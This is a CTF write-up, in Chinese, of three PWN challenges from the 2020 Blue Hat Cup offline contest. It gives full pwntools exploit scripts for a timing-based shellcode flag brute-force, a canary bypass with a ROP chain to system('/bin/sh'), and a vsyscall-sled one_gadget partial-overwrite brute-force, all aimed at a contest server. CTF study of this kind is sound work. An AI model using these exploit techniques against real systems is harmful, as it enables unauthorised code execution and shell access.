2020 蓝帽杯线下赛PWN WriteUp

 

slient

这个题目很容易看到这是执行shellcode,但是长度最大只有0x40字节。这个题目和天翼杯的safebox的题目类似,都是写入shellcode爆破flag。这里直接用的天翼杯2020_wp_by_LQers中的shellcode

# encoding=utf-8
from pwn import *

file_path = "./chall"
context.arch = "amd64"
# context.log_level = "debug"
context.terminal = ['tmux', 'splitw', '-h']
elf = ELF(file_path)
debug = 0
# if debug:
#     p = process([file_path])
#     gdb.attach(p, "b *$rebase(0xC94)")
#     libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
#     one_gadget = 0x0
#
# else:
#     p = remote('', 0)
#     libc = ELF('')
#     one_gadget = 0x0


def pwn(p, index, ch):

    read_next = "xor rax, rax; xor rdi, rdi;mov rsi, 0x10100;mov rdx, 0x300;syscall;"
    # open
    shellcode = "push 0x10032aaa; pop rdi; shr edi, 12; xor esi, esi; push 2; pop rax; syscall;"

    # re open, rax => 4
    shellcode += "push 2; pop rax; syscall;"

    # read(rax, 0x10040, 0x50)
    shellcode += "mov rdi, rax; xor eax, eax; push 0x50; pop rdx; push 0x10040aaa; pop rsi; shr esi, 12; syscall;"

    # cmp and jz
    if index == 0:
        shellcode += "cmp byte ptr[rsi+{0}], {1}; jz $-3; ret".format(index, ch)
    else:
        shellcode += "cmp byte ptr[rsi+{0}], {1}; jz $-4; ret".format(index, ch)

    shellcode = asm(shellcode)

    # p.sendlineafter("execution-box.\n", read_next.ljust(0x30))

    p.sendafter("execution-box.\n", shellcode.ljust(0x40 - 14, b'a') + b'./flag')


index = 0
ans = []
while True:
    for ch in range(0x20, 127):
        if debug:
            p = process([file_path])
        else:
            p = remote('8.131.246.36', 40334)
        pwn(p, index, ch)
        start = time.time()
        try:
            p.recv(timeout=2)
        except:
            pass
        end = time.time()
        p.close()
        if end - start > 1.5:
            ans.append(ch)
            print("".join([chr(i) for i in ans]))
            break
    else:
        print("".join([chr(i) for i in ans]))
        break
    index = index + 1
    print(ans)

print("".join([chr(i) for i in ans]))

 

fuantoie

这个题目在edit,show函数中很多扰乱视线的东西,add,delete函数很容易就可以分析出来,并不存在漏洞。因此漏洞主要集中于edit,show这两个函数中。

经过手动测试和分析发现漏洞位于0x4011F1函数中

这里snprintf函数的返回结果是我们输入的字符串的长度,也就是input_200_buf字符串数组中的长度。因此结合后面的for循环就可以进行栈溢出。但是程序开启了canary。这里就需要绕过一下,输入+/-即可。构造rop泄漏出libc地址之后,直接rop执行system("/bin/sh")即可。

在构造的时候需要注意的一点就是,这里写入的是%d也就是四字节,因此对于一个地址我们需要分两次写入。

# encoding=utf-8
from pwn import *

file_path = "./pwn"
context.arch = "amd64"
context.log_level = "debug"
context.terminal = ['tmux', 'splitw', '-h']
elf = ELF(file_path)
debug = 0
if debug:
    p = process([file_path])
    gdb.attach(p, "b *0x04012A2\nb *0x401287")
    libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
    one_gadget = 0x0

else:
    p = remote('8.131.246.36', 15823)
    libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
    one_gadget = 0x0


def add(size):
    p.sendlineafter(">> ", "1")
    p.sendlineafter("size?\n", str(size))


def delete(index):
    p.sendlineafter(">> ", "2")
    p.sendlineafter("index ?\n", str(index))


def edit(index, content, test):
    p.sendlineafter(">> ", "3")
    p.sendlineafter("index ?\n", str(index))
    p.sendafter("new content ?\n", content)
    p.sendlineafter("pass some test first\n", str(test))


def show(index):
    p.sendlineafter(">> ", "4")
    p.sendlineafter("index ?\n", str(index))


p_rdi_r = 0x0000000000401763
start = 0x400750

payload = "+\n"*38
payload += str(p_rdi_r) + "\n0\n"
payload += str(elf.got['puts']) + "\n0\n" + str(elf.plt['puts']) + "\n0\n"
payload += str(start) + "\n0\n"

show(22)
p.sendlineafter("boy\n", "a"*(38 + 8 - 1))
p.sendlineafter("lo\n", payload)

libc.address = u64(p.recvline().strip(b"\n").ljust(8, b"\x00")) - libc.sym['puts']

bin_sh_address = libc.search(b"/bin/sh\x00").__next__()
system_address = libc.sym['system']

payload = "+\n"*38
payload += str(p_rdi_r) + "\n0\n"
payload += str(bin_sh_address & 0xffffffff) + "\n"
payload += str(bin_sh_address >> 32)+"\n"
payload += str(system_address & 0xffffffff) + "\n"
payload += str(system_address >> 32) + "\n"
payload += str(start) + "\n0\n"

show(22)
log.success("libc address is {}".format(hex(libc.address)))
p.sendlineafter("boy\n", "a"*(38 + 8 - 1))
p.sendlineafter("lo\n", payload)

# add(0x68)
# edit(0, "a", 112)
# p.sendlineafter("I love you so much\n", "a"*0x200)
# p.sendline("a"*112)

p.interactive()

 

simple_canary

很明显的栈溢出漏洞,但是程序开启了pie,由于这里GLIBC<=2.23因此这里可以使用vsyscall作为滑板指令,这里和DASCTF 8月赛类似,我们先来看一下read完毕之后的栈

如果此时程序中存在后门的话,我们修改任意一个elf地址的低位指向后门函数,之后利用滑板指令滑到此处即可。但是该程序中并不存在后门。因此这里我采用的是覆写libc_start_main+240one_gadget进行爆破。这种方式1/(16*16*16)的概率。

# encoding=utf-8
from pwn import *

file_path = "./pwn"
context.arch = "amd64"
context.log_level = "debug"
context.terminal = ['tmux', 'splitw', '-h']
elf = ELF(file_path)
debug = 0
if debug:
    p = process([file_path])
    gdb.attach(p, "b *$rebase(0x116e)")
    libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')

else:
    p = remote('8.131.246.36', 38989)
    libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')

''''
root@18491090a044:~/work# one_gadget /lib/x86_64-linux-gnu/libc.so.6
0x45226 execve("/bin/sh", rsp+0x30, environ)
constraints:
  rax == NULL

0x4527a execve("/bin/sh", rsp+0x30, environ)
constraints:
  [rsp+0x30] == NULL

0xf0364 execve("/bin/sh", rsp+0x50, environ)
constraints:
  [rsp+0x50] == NULL

0xf1207 execve("/bin/sh", rsp+0x70, environ)
constraints:
  [rsp+0x70] == NULL
root@18491090a044:~/work#

20840
'''

# one_gadget = 0x45226
#  0x7ffff7a0d000--
one_gadget = 0xa9b226

while True:
    try:
        payload = b'a' * (0x20) + p64(0xdeadbeef)
        payload += p64(0xffffffffff600000) * 8
        payload += p64(one_gadget)[:3]
        p.sendafter("input something:\n", payload)
        p.sendline("cat flag")
        p.sendline("cat /flag")
        res = p.recv()
        print(res)
        if b"flag" not in res:
            raise EOFError
        break
    except KeyboardInterrupt:
        exit()
    except:
        p.close()
        p = remote('8.131.246.36', 38989)
(完)